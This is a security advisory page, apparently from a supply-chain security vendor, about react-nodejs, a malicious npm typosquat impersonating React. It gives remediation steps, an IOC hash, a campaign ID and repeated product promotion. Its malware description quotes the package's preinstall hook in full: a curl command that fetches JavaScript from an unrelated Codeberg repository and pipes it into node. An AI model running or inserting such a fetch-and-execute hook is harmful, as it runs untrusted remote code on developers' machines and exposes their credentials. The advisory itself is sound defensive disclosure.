Which versions of react-nodejs are malicious?

The following npm versions of react-nodejs are flagged malicious: 19.3.0. Treat any of these as compromised.

How do I remediate react-nodejs if I installed it?

react-nodejs is a typosquat — you almost certainly intended a legitimately-named package. Remove react-nodejs, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed react-nodejs — how do I know if it already compromised me?

If react-nodejs was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is react-nodejs part of a known attack campaign?

Yes — react-nodejs is associated with the IN-MAL-2026-020688 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find react-nodejs across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for react-nodejs (version 19.3.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging react-nodejs across your stack and pipelines.

Malicious package

react-nodejsnpm

react-nodejs is a confirmed malicious npm package (MAL-2026-17294) that typosquats a legitimate package to trick installs (malicious version 19.3.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in react-nodejs (npm)

MAL-2026-17294

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall react-nodejs

What this malware does

package.json declares a preinstall lifecycle hook that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching a JavaScript file from an unrelated third-party Codeberg user's repository on a mutable branch (proxied through web.archive.org) and executing it in Node on the installer's machine at npm install time. The fetched content is unpinned, unverified, and controlled by an account with no relationship to the React publisher. The package additionally impersonates React: name react-nodejs, description copied from React, homepage set to https://react.dev/, and repository pointing at github.com/react/react.git, while being published by an unrelated author — a typosquat lure amplifying the install-time remote code execution.

Malicious versions

1 flagged

19.3.0

Indicators of compromise (SHA-256)

5777ca86863da9fabb9da8e1a0d6c2f30f05533265624b2da07a8d0804930481

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for react-nodejs (version 19.3.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging react-nodejs across your stack and pipelines.
If you installed it — respond
react-nodejs is a typosquat — you almost certainly intended a legitimately-named package. Remove react-nodejs, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If react-nodejs was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks react-nodejs before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. react-nodejs on npm has been identified as a malicious package (version 19.3.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020688

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks react-nodejs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database